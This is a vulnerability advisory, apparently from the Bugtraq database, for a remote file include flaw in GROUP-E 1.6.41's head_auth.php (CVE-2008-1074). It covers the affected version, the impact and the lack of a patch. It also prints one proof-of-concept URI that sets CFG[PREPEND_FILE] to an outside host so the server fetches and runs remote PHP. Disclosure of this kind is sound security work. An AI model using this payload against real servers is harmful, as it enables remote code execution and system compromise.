GROUP-E 'head_auth.php' Remote File Include Vulnerability

BID:28024

Info

GROUP-E 'head_auth.php' Remote File Include Vulnerability

Bugtraq ID: 28024
Class: Input Validation Error
CVE: CVE-2008-1074
Remote: Yes
Local: No
Published: Feb 27 2008 12:00AM
Updated: Feb 29 2008 04:22PM
Credit: CraCkEr is credited with the discovery of this vulnerability.
Vulnerable: GROUP-E GROUP-E 1.6.41
Not Vulnerable:

Discussion

GROUP-E 'head_auth.php' Remote File Include Vulnerability

GROUP-E is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue affects GROUP-E 1.6.41; other versions may also be vulnerable.

Exploit / POC

GROUP-E 'head_auth.php' Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/www/lib/head_auth.php?CFG[PREPEND_FILE]=http://www.example2.com

Solution / Fix

GROUP-E 'head_auth.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

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